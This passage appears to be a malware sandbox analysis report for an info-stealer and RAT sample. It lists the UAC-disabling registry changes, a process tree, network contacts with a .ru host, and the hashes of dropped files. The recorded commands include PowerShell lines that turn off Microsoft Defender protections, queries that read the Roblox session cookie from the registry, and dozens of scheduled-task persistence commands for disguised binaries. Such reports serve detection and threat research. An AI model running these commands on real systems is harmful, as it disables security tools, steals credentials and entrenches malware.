Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Default\Application Data\sihost.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" C:\Users\Default\Application Data\sihost.exe N/A

Uses Task Scheduler COM API

persistence

Uses Volume Shadow Copy service COM API

ransomware

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe

"C:\Users\Admin\AppData\Local\Temp\7ebabb8b4bb51cf.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"

C:\Users\Admin\AppData\Local\Temp\svchost.exe

"C:\Users\Admin\AppData\Local\Temp\svchost.exe"

C:\Users\Admin\AppData\Local\Temp\explorer.exe

"C:\Users\Admin\AppData\Local\Temp\explorer.exe"

C:\Windows\SYSTEM32\attrib.exe

"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\explorer.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\discord\KVGHJrchTtXZ1.vbe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\explorer.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" os get Caption

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" computersystem get totalphysicalmemory

C:\Windows\System32\Wbem\wmic.exe

"wmic.exe" csproduct get uuid

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\System32\Wbem\wmic.exe

"wmic" path win32_VideoController get name

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\discord\91XI5GEPShJXCgG0eVHRJ.bat" "

C:\Users\Admin\AppData\Roaming\discord\savesref.exe

"C:\Users\Admin\AppData\Roaming\discord\savesref.exe"

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 7 /tr "'C:\Windows\L2Schemas\TextInputHost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Windows\L2Schemas\TextInputHost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 6 /tr "'C:\Windows\L2Schemas\TextInputHost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 14 /tr "'C:\Users\Default\Application Data\sihost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Users\Default\Application Data\sihost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 6 /tr "'C:\Users\Default\Application Data\sihost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Common Files\Java\StartMenuExperienceHost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\Java\StartMenuExperienceHost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Common Files\Java\StartMenuExperienceHost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Users\Default User\RuntimeBroker.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Users\Default User\RuntimeBroker.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Users\Default User\RuntimeBroker.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 13 /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "servicess" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\services.exe'" /f

C:\Windows\SYSTEM32\cmd.exe

"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\explorer.exe" && pause

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\services.exe'" /rl HIGHEST /f

C:\Windows\system32\PING.EXE

ping localhost

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "servicess" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\services.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 5 /tr "'C:\Windows\L2Schemas\unsecapp.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "unsecapp" /sc ONLOGON /tr "'C:\Windows\L2Schemas\unsecapp.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 10 /tr "'C:\Windows\L2Schemas\unsecapp.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "explorere" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Common Files\Microsoft Shared\explorer.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\Microsoft Shared\explorer.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "explorere" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Common Files\Microsoft Shared\explorer.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\spoolsv.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\spoolsv.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\spoolsv.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 11 /tr "'C:\Program Files\Common Files\DESIGNER\Idle.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Program Files\Common Files\DESIGNER\Idle.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 11 /tr "'C:\Program Files\Common Files\DESIGNER\Idle.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 8 /tr "'C:\Windows\GameBarPresenceWriter\spoolsv.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Windows\GameBarPresenceWriter\spoolsv.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 5 /tr "'C:\Windows\GameBarPresenceWriter\spoolsv.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 11 /tr "'C:\Users\Admin\Idle.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Users\Admin\Idle.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 10 /tr "'C:\Users\Admin\Idle.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows NT\sihost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows NT\sihost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows NT\sihost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Common Files\StartMenuExperienceHost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\StartMenuExperienceHost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Common Files\StartMenuExperienceHost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\Registry.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\Registry.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\Registry.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 6 /tr "'C:\Program Files\Windows Portable Devices\SppExtComObj.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\Program Files\Windows Portable Devices\SppExtComObj.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Portable Devices\SppExtComObj.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 9 /tr "'C:\Windows\Globalization\Sorting\conhost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Windows\Globalization\Sorting\conhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 13 /tr "'C:\Windows\Globalization\Sorting\conhost.exe'" /rl HIGHEST /f

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\6qhBZ49x50.bat"

C:\Windows\system32\w32tm.exe

w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2

C:\Users\Default\Application Data\sihost.exe

"C:\Users\Default\Application Data\sihost.exe"

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\GameBarPresenceWriter\spoolsv.exe

C:\Windows\GameBarPresenceWriter\spoolsv.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 artemis.community udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 91.90.14.23.in-addr.arpa udp
US 8.8.8.8:53 gstatic.com udp
GB 216.58.201.99:443 gstatic.com tcp
US 8.8.8.8:53 99.201.58.216.in-addr.arpa udp
US 8.8.8.8:53 138.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 discord.com udp
US 162.159.138.232:443 discord.com tcp
US 8.8.8.8:53 232.138.159.162.in-addr.arpa udp
NL 52.142.223.178:80 tcp
US 8.8.8.8:53 a0982032.xsph.ru udp
RU 141.8.195.33:80 a0982032.xsph.ru tcp
RU 141.8.195.33:80 a0982032.xsph.ru tcp
US 8.8.8.8:53 33.195.8.141.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 139.53.16.96.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
RU 141.8.195.33:80 a0982032.xsph.ru tcp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
NL 23.62.61.90:443 www.bing.com tcp
US 8.8.8.8:53 90.61.62.23.in-addr.arpa udp
RU 141.8.195.33:80 a0982032.xsph.ru tcp
RU 141.8.195.33:80 a0982032.xsph.ru tcp
RU 141.8.195.33:80 a0982032.xsph.ru tcp
RU 141.8.195.33:80 a0982032.xsph.ru tcp

Files

memory/4052-0-0x00000000745DE000-0x00000000745DF000-memory.dmp

memory/4052-1-0x0000000000690000-0x0000000000EBA000-memory.dmp

memory/4052-2-0x00000000745D0000-0x0000000074D80000-memory.dmp

memory/4052-3-0x00000000032D0000-0x00000000032E0000-memory.dmp

memory/4052-4-0x0000000007280000-0x0000000007288000-memory.dmp

memory/2888-5-0x0000000000400000-0x000000000060E000-memory.dmp

memory/4052-7-0x00000000745D0000-0x0000000074D80000-memory.dmp

memory/2888-8-0x00000000745D0000-0x0000000074D80000-memory.dmp

memory/2888-9-0x0000000005050000-0x00000000050EC000-memory.dmp

memory/2888-12-0x00000000745D0000-0x0000000074D80000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\svchost.exe

MD5 45008c4cc3fc25a5d5184742ae2fe72b
SHA1 f5e7b3110df6917df0e07a822c313c52eec335fd
SHA256 09d240d54a5458bcc9362ea0f06e23a345b69e196e127462d5f33e8a475ccd57
SHA512 3059e4e59cb103f08fd13f776bf65d41b4cfec7a7f6610a2c945e134d4b913185f64bdf357bbc3c52e26da77f9e04a19c121611ad11fb40bf486aade1751e335

C:\Users\Admin\AppData\Local\Temp\explorer.exe

MD5 5a006cd74e0225a15746bee6928d62f1
SHA1 a17dabdb634d9667c3590436998252148a5fab92
SHA256 0350fdb32852f781665e056a04f318e94c746612f7b4e3cd430d808c894aae4c
SHA512 59d6b467cf48cf1aafaf13e1acfdd6ae4806403f0bc92e759590b04da4ecd719488300ecd412d92931e7b65daf0ab2229d7a165b31595334676b40942bb30f81

memory/2588-31-0x0000029450950000-0x0000029450990000-memory.dmp

memory/2888-32-0x00000000745D0000-0x0000000074D80000-memory.dmp

C:\Users\Admin\AppData\Roaming\discord\KVGHJrchTtXZ1.vbe

MD5 cdb5dc99d1017d58fdbfce66f048da76
SHA1 e1903f365d81996da9810b9f0dc40bc65b3324c7
SHA256 bd9e0e5f3e6379d03907896d71843cc2dbfef7e209cc0896b4755fa0422a3b43
SHA512 72e3e2f3b5f385c402faf7ac89690a99806f648f90e85f46b01db66284f247c10dbe03e612e41c46775cd29fecaeede2fd26bc8dc2e22e252f9f1ce9b801f88d

memory/2268-41-0x00000233648B0000-0x00000233648D2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_trfeixts.w2u.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 6d42b6da621e8df5674e26b799c8e2aa
SHA1 ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA512 53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

memory/2588-67-0x000002946B140000-0x000002946B1B6000-memory.dmp

memory/2588-68-0x0000029450E70000-0x0000029450EC0000-memory.dmp

memory/2588-69-0x0000029450E10000-0x0000029450E2E000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 17d8127be94d3c1b6fcc9a4ed585003e
SHA1 789874fcc7c778c723f3e89822d8cc8750c6c4c8
SHA256 ea357ad1f95863b3618d31e5b0f90495331f64de2b784d9e185b48668c937a7b
SHA512 bb18b6d07d82227f5cfbe3eb460df79ec892c560ad2964dcd4782aa26336ae15059843bf46a739bdd4a4daa58057f99102531a756a1cf434ce6449b3cd35a98e

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 548dd08570d121a65e82abb7171cae1c
SHA1 1a1b5084b3a78f3acd0d811cc79dbcac121217ab
SHA256 cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc
SHA512 37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

memory/2588-105-0x0000029450E50000-0x0000029450E5A000-memory.dmp

memory/2588-106-0x00000294527B0000-0x00000294527C2000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 58b80fe8da7d23cd3c9707f4ce93457e
SHA1 7d1c58b992631d82cabd38d738ccca072c91c124
SHA256 4479db3e2faf952801a1506140f3612e267e9bb4f5d509b0d63204429de8eef3
SHA512 82ef5d29aaf46b5fef467185193f03612058c4bbd7b9926293a79c18deefe137811f95dc59feaa649376c8711ca3253177177b538d2d953147db1ed719cba5e8

C:\Users\Admin\AppData\Roaming\discord\91XI5GEPShJXCgG0eVHRJ.bat

MD5 84814a18997996f8a95ba8e868396e90
SHA1 30b79b2158d922433ba25117fb79f8720470fb44
SHA256 92c8ccb6b3a9abc0798ad760255c47356c3750a74b11e38590876c68927f3797
SHA512 b1b820e12c49fe4993229222a218a769e5d6913f303d382baaff735f3b24a5b068adcfb344397004dd9d7aa637c4e9baedf2e3ca3dfb3f56e86c8c8f8cf9cf7e

C:\Users\Admin\AppData\Roaming\discord\savesref.exe

MD5 0a32536cc1d5e2a35d7d289b4ff0e76b
SHA1 98736b0b5a6f3709f81365c9e6477819074c3170
SHA256 8d31ae46e123de0d23937d664298428e37b45a7a135a95d73f5887779ee48710
SHA512 b2d5d91eb7ecfc6eb295c63ecba5c3ceb4b4a865fc9a9f90bd1e82bff4bc39905baf9ab2962580ee708761632e5499694f3f823aa2f139bce809398262eb3b73

memory/1340-125-0x0000000000A00000-0x0000000000B8C000-memory.dmp

memory/1340-126-0x0000000002C60000-0x0000000002C7C000-memory.dmp

memory/1340-127-0x000000001B7B0000-0x000000001B7C0000-memory.dmp

memory/1340-128-0x000000001B7C0000-0x000000001B7D6000-memory.dmp

memory/1340-129-0x000000001B7E0000-0x000000001B7F0000-memory.dmp

memory/1340-130-0x000000001B7F0000-0x000000001B7FA000-memory.dmp

memory/1340-132-0x000000001BE70000-0x000000001BE7C000-memory.dmp

memory/1340-135-0x000000001BD90000-0x000000001BD9C000-memory.dmp

memory/1340-136-0x000000001BDA0000-0x000000001BDAA000-memory.dmp

memory/1340-134-0x000000001BD80000-0x000000001BD88000-memory.dmp

memory/1340-133-0x000000001BD70000-0x000000001BD78000-memory.dmp

memory/1340-137-0x000000001BDB0000-0x000000001BDBC000-memory.dmp

memory/1340-131-0x000000001B850000-0x000000001B858000-memory.dmp

C:\Windows\L2Schemas\TextInputHost.exe

MD5 8ba4e01b1093196db14db9dd6b102789
SHA1 8fe5f18624ffd6b4f6d82791a5a9fb69ed97fcc9
SHA256 01d8ecff77756038f5527f53cf8c73196ba5206983d0485b7b12bb0dac513103
SHA512 d63595b3f8d79cd2ef92b52b4d1c96711fa8e98a7515b3701b67932b32430132bd39d0b611b246c2c29491a0b36f8c8d814248f632ed492236ca581ffa2106ef

C:\Program Files (x86)\Common Files\Java\RCX61C0.tmp

MD5 bf164fec3cd078761a70462be31050fb
SHA1 48ebbb45426cbe2056e5f0bca1bd03e06ddfa5a2
SHA256 1d547dd97ae48345cae40c0a76258b3efa12dd8e9ea689f3d022e482584aa173
SHA512 fc4dbc0aa8d172b2b6c706e778acf5e49a5fc4c1c1fa763bd01a6d4332f1731ae5a87bfb500027067c3bb1b7508326c81b0462c08667b2b7a68bdc1ec38e748b

C:\Users\Default\RuntimeBroker.exe

MD5 2c3b9d3c539233e14b02e731cad72c8c
SHA1 05be969205da5664ba1ab8503b22ce512aec7860
SHA256 ddfcdb81f6e9164e04ee4a62325473fbb0ea3d84a4380ec4fee782bc5d7d346f
SHA512 4b1ca71e747e8d7ce723581e5534c700f818d6c4b12805a82e263f3138632453f71646f7963db65fbe2f5450d22152b9206810edd998a0de30fde7a462bcd98f

C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\services.exe

MD5 e1ac4dd4b691b50e9bb5a1f9069ee824
SHA1 5c66d955f2bf4c01e513a4cc96f3ae7bf498c9e5
SHA256 2f852f760f30e33745ea021d4ef54231ecbd81ae2014cb601e2b1ed338db4227
SHA512 dacb4c52cd6c052f51f34fa2bb69fafb0750b7ea13f4a95e115d487529e6804c67fe21ff22d2c5c83dc559f72a4a970ad3ebb08b9a2203b85fcd7c60db6598a0

C:\Windows\L2Schemas\RCX6BDA.tmp

MD5 63eb9ebe74f533bd4a5020ecdd17e71d
SHA1 51f2e1779db123cb48f25a3b4fba445e65c01238
SHA256 8d56790ff0449bb488afcf6dea4831d47c0e9e324c95a15978c4583cee2737ed
SHA512 62b893ca7a35bc18a787cbe2d2651f7a53cab2146a48452b2d8d5782a1055839506b749c2995fb095d4888892f53470a28acef6bd5bd277c614cfb037813c287

C:\Recovery\WindowsRE\Registry.exe

MD5 c140787f2f6f5ad497bd3728198b2232
SHA1 1ebd8a2b883c87eadbd6e1fc0e06f77e35851015
SHA256 fe94b425a973e2b40b7d60d0b350bc7142b2db26f7a34f5eedaf1b31d402bb84
SHA512 bb2110253215c36331f5ee38eaeef3dc6f3e8809ae88585106f38a51e9499122bfb1394e97dec1b2d312eccb53b3759e5d504aad71212cbe7a8336f72a7e1aa2

C:\Users\Admin\AppData\Local\Temp\6qhBZ49x50.bat

MD5 eeb09c1f2fc832dd7012cc6d1750c62c
SHA1 12645a863f749e84fe79a83a569d970885dd3c91
SHA256 5e57f86c95980fec6d7b750d14b7e46db02b38ca5bf305cab7b9fd281641cb5e
SHA512 8ddd8ce3a31c4fb3af49be3a7be1ef86731feb382573bf1aa1be4a91e0b19d01bb7986995860c7f6176b22103987484309f2d273deb102fd80d9386c7a0c13df

C:\Users\Default\AppData\Roaming\sihost.exe

MD5 9d38cf1e1724851cb98903a3e4b630a2
SHA1 d8d1786741cbed0acbf5a3b79fd20f09fc63e7d3
SHA256 6979bcc72e31065cbbec7856e08b7f43a6d0859d85bff104805b2d1929fe80cf
SHA512 f1bab3e2735e2e3d6d0da0689e4278c11ea3f287e60212dca9e2969de73ec767a9e7d0ae6f92633b4edc13f4cd95f8b224ae4717f50fe93c392ae4aca36218bd

memory/3444-395-0x0000000000460000-0x00000000005EC000-memory.dmp

memory/408-399-0x0000000000020000-0x00000000001AC000-memory.dmp